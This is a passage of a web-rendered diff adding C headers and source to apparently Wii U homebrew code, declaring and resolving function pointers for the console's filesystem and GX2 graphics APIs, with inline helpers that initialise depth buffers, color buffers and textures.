||||||
|
extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
|
||||||
|
extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling);
|
||||||
|
extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams);
|
||||||
|
extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error);
|
||||||
|
extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams);
|
||||||
|
extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error);
|
||||||
|
extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error);
|
||||||
|
extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error);
|
||||||
|
extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams);
|
||||||
|
extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error);
|
||||||
|
extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
|
||||||
|
extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling);
|
||||||
|
extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams);
|
||||||
|
extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling);
|
||||||
|
extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling);
|
||||||
|
extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling);
|
||||||
|
extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling);
|
||||||
|
extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling);
|
||||||
|
extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||||
|
|
||||||
|
extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||||
|
extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams);
|
||||||
|
extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||||
|
extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling);
|
||||||
|
|
||||||
|
extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error);
|
||||||
|
extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error);
|
||||||
|
extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||||
|
extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error);
|
||||||
|
extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __FS_FUNCTIONS_H_
|
162
src/dynamic_libs/gx2_functions.c
Normal file
162
src/dynamic_libs/gx2_functions.c
Normal file
@ -0,0 +1,162 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "os_functions.h"
|
||||||
|
#include "gx2_types.h"
|
||||||
|
#include "utils/utils.h"
|
||||||
|
|
||||||
|
EXPORT_DECL(void, GX2Init, u32 * init_attribs);
|
||||||
|
EXPORT_DECL(void, GX2Shutdown, void);
|
||||||
|
EXPORT_DECL(void, GX2Flush, void);
|
||||||
|
EXPORT_DECL(s32, GX2GetMainCoreId, void) ;
|
||||||
|
EXPORT_DECL(s32, GX2DrawDone, void);
|
||||||
|
EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a);
|
||||||
|
EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ);
|
||||||
|
EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht);
|
||||||
|
EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state);
|
||||||
|
EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count);
|
||||||
|
EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count);
|
||||||
|
EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode);
|
||||||
|
EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target);
|
||||||
|
EXPORT_DECL(void, GX2SwapScanBuffers, void);
|
||||||
|
EXPORT_DECL(void, GX2SetTVEnable, s32 enable);
|
||||||
|
EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval);
|
||||||
|
EXPORT_DECL(u32, GX2GetSwapInterval, void);
|
||||||
|
EXPORT_DECL(void, GX2WaitForVsync, void);
|
||||||
|
EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed);
|
||||||
|
EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size);
|
||||||
|
EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode);
|
||||||
|
EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface);
|
||||||
|
EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer);
|
||||||
|
EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer);
|
||||||
|
EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align);
|
||||||
|
EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align);
|
||||||
|
EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable);
|
||||||
|
EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling);
|
||||||
|
EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target);
|
||||||
|
EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer);
|
||||||
|
EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr);
|
||||||
|
EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture);
|
||||||
|
EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter);
|
||||||
|
EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode);
|
||||||
|
EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode);
|
||||||
|
EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs);
|
||||||
|
EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values);
|
||||||
|
EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values);
|
||||||
|
EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location);
|
||||||
|
EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location);
|
||||||
|
EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||||
|
EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||||
|
EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader);
|
||||||
|
EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader);
|
||||||
|
EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter);
|
||||||
|
EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer);
|
||||||
|
EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function);
|
||||||
|
EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine);
|
||||||
|
EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed);
|
||||||
|
EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode);
|
||||||
|
EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height);
|
||||||
|
EXPORT_DECL(void, GX2SetDRCEnable, s32 enable);
|
||||||
|
EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset);
|
||||||
|
EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back);
|
||||||
|
EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable,
|
||||||
|
s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail,
|
||||||
|
s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail);
|
||||||
|
EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back);
|
||||||
|
EXPORT_DECL(void, GX2SetLineWidth, f32 width);
|
||||||
|
EXPORT_DECL(void, GX2SetTVGamma, f32 val);
|
||||||
|
EXPORT_DECL(void, GX2SetDRCGamma, f32 gam);
|
||||||
|
EXPORT_DECL(s32, GX2GetSystemTVScanMode, void);
|
||||||
|
EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void);
|
||||||
|
EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*));
|
||||||
|
|
||||||
|
|
||||||
|
void InitGX2FunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
unsigned int gx2_handle;
|
||||||
|
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2Init);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2Shutdown);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2Flush);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2DrawDone);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2ClearColor);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetViewport);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetScissor);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetContextState);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2DrawEx);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2Invalidate);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitSampler);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetColorControl);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode);
|
||||||
|
OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator);
|
||||||
|
}
|
205
src/dynamic_libs/gx2_functions.h
Normal file
205
src/dynamic_libs/gx2_functions.h
Normal file
@ -0,0 +1,205 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __GX2_FUNCTIONS_H_
|
||||||
|
#define __GX2_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "gx2_types.h"
|
||||||
|
|
||||||
|
void InitGX2FunctionPointers(void);
|
||||||
|
|
||||||
|
extern void (* GX2Init)(u32 * init_attribs);
|
||||||
|
extern void (* GX2Shutdown)(void);
|
||||||
|
extern void (* GX2Flush)(void);
|
||||||
|
extern s32 (* GX2GetMainCoreId)(void) ;
|
||||||
|
extern s32 (* GX2DrawDone)(void);
|
||||||
|
extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a);
|
||||||
|
extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ);
|
||||||
|
extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht);
|
||||||
|
extern void (* GX2SetContextState)(const GX2ContextState* state);
|
||||||
|
extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count);
|
||||||
|
extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count);
|
||||||
|
extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode);
|
||||||
|
extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target);
|
||||||
|
extern void (* GX2SwapScanBuffers)(void);
|
||||||
|
extern void (* GX2SetTVEnable)(s32 enable);
|
||||||
|
extern void (* GX2SetSwapInterval)(u32 swap_interval);
|
||||||
|
extern u32 (* GX2GetSwapInterval)(void);
|
||||||
|
extern void (* GX2WaitForVsync)(void);
|
||||||
|
extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed);
|
||||||
|
extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size);
|
||||||
|
extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode);
|
||||||
|
extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface);
|
||||||
|
extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer);
|
||||||
|
extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer);
|
||||||
|
extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align);
|
||||||
|
extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align);
|
||||||
|
extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable);
|
||||||
|
extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling);
|
||||||
|
extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target);
|
||||||
|
extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer);
|
||||||
|
extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr);
|
||||||
|
extern void (* GX2InitTextureRegs)(GX2Texture *texture);
|
||||||
|
extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter);
|
||||||
|
extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode);
|
||||||
|
extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode);
|
||||||
|
extern void (* GX2SetFetchShader)(const GX2FetchShader* fs);
|
||||||
|
extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values);
|
||||||
|
extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values);
|
||||||
|
extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location);
|
||||||
|
extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location);
|
||||||
|
extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||||
|
extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||||
|
extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader);
|
||||||
|
extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader);
|
||||||
|
extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter);
|
||||||
|
extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer);
|
||||||
|
extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function);
|
||||||
|
extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine);
|
||||||
|
extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed);
|
||||||
|
extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode);
|
||||||
|
extern void (* GX2SetDRCScale)(u32 width, u32 height);
|
||||||
|
extern void (* GX2SetDRCEnable)(s32 enable);
|
||||||
|
extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset);
|
||||||
|
extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back);
|
||||||
|
extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable,
|
||||||
|
s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail,
|
||||||
|
s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail);
|
||||||
|
extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back);
|
||||||
|
extern void (* GX2SetLineWidth)(f32 width);
|
||||||
|
extern void (* GX2SetTVGamma)(f32 val);
|
||||||
|
extern void (* GX2SetDRCGamma)(f32 val);
|
||||||
|
extern s32 (* GX2GetSystemTVScanMode)(void);
|
||||||
|
extern s32 (* GX2GetSystemDRCScanMode)(void);
|
||||||
|
extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*));
|
||||||
|
|
||||||
|
static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa)
|
||||||
|
{
|
||||||
|
depthBuffer->surface.dimension = dimension;
|
||||||
|
depthBuffer->surface.width = width;
|
||||||
|
depthBuffer->surface.height = height;
|
||||||
|
depthBuffer->surface.depth = depth;
|
||||||
|
depthBuffer->surface.num_mips = 1;
|
||||||
|
depthBuffer->surface.format = format;
|
||||||
|
depthBuffer->surface.aa = aa;
|
||||||
|
depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE;
|
||||||
|
depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT;
|
||||||
|
depthBuffer->surface.swizzle = 0;
|
||||||
|
depthBuffer->view_mip = 0;
|
||||||
|
depthBuffer->view_first_slice = 0;
|
||||||
|
depthBuffer->view_slices_count = depth;
|
||||||
|
depthBuffer->clear_depth = 1.0f;
|
||||||
|
depthBuffer->clear_stencil = 0;
|
||||||
|
depthBuffer->hiZ_data = NULL;
|
||||||
|
depthBuffer->hiZ_size = 0;
|
||||||
|
GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface);
|
||||||
|
GX2InitDepthBufferRegs(depthBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa)
|
||||||
|
{
|
||||||
|
colorBuffer->surface.dimension = dimension;
|
||||||
|
colorBuffer->surface.width = width;
|
||||||
|
colorBuffer->surface.height = height;
|
||||||
|
colorBuffer->surface.depth = depth;
|
||||||
|
colorBuffer->surface.num_mips = 1;
|
||||||
|
colorBuffer->surface.format = format;
|
||||||
|
colorBuffer->surface.aa = aa;
|
||||||
|
colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV;
|
||||||
|
colorBuffer->surface.image_size = 0;
|
||||||
|
colorBuffer->surface.image_data = NULL;
|
||||||
|
colorBuffer->surface.mip_size = 0;
|
||||||
|
colorBuffer->surface.mip_data = NULL;
|
||||||
|
colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT;
|
||||||
|
colorBuffer->surface.swizzle = 0;
|
||||||
|
colorBuffer->surface.align = 0;
|
||||||
|
colorBuffer->surface.pitch = 0;
|
||||||
|
u32 i;
|
||||||
|
for(i = 0; i < 13; i++)
|
||||||
|
colorBuffer->surface.mip_offset[i] = 0;
|
||||||
|
colorBuffer->view_mip = 0;
|
||||||
|
colorBuffer->view_first_slice = 0;
|
||||||
|
colorBuffer->view_slices_count = depth;
|
||||||
|
colorBuffer->aux_data = NULL;
|
||||||
|
colorBuffer->aux_size = 0;
|
||||||
|
for(i = 0; i < 5; i++)
|
||||||
|
colorBuffer->regs[i] = 0;
|
||||||
|
|
||||||
|
GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface);
|
||||||
|
GX2InitColorBufferRegs(colorBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format)
|
||||||
|
{
|
||||||
|
attr->location = location;
|
||||||
|
attr->buffer = buffer;
|
||||||
|
attr->offset = offset;
|
||||||
|
attr->format = format;
|
||||||
|
attr->index_type = 0;
|
||||||
|
attr->divisor = 0;
|
||||||
|
attr->destination_selector = attribute_dest_comp_selector[format & 0xff];
|
||||||
|
attr->endian_swap = GX2_ENDIANSWAP_DEFAULT;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile)
|
||||||
|
{
|
||||||
|
tex->surface.dimension = dimension;
|
||||||
|
tex->surface.width = width;
|
||||||
|
tex->surface.height = height;
|
||||||
|
tex->surface.depth = depth;
|
||||||
|
tex->surface.num_mips = num_mips;
|
||||||
|
tex->surface.format = format;
|
||||||
|
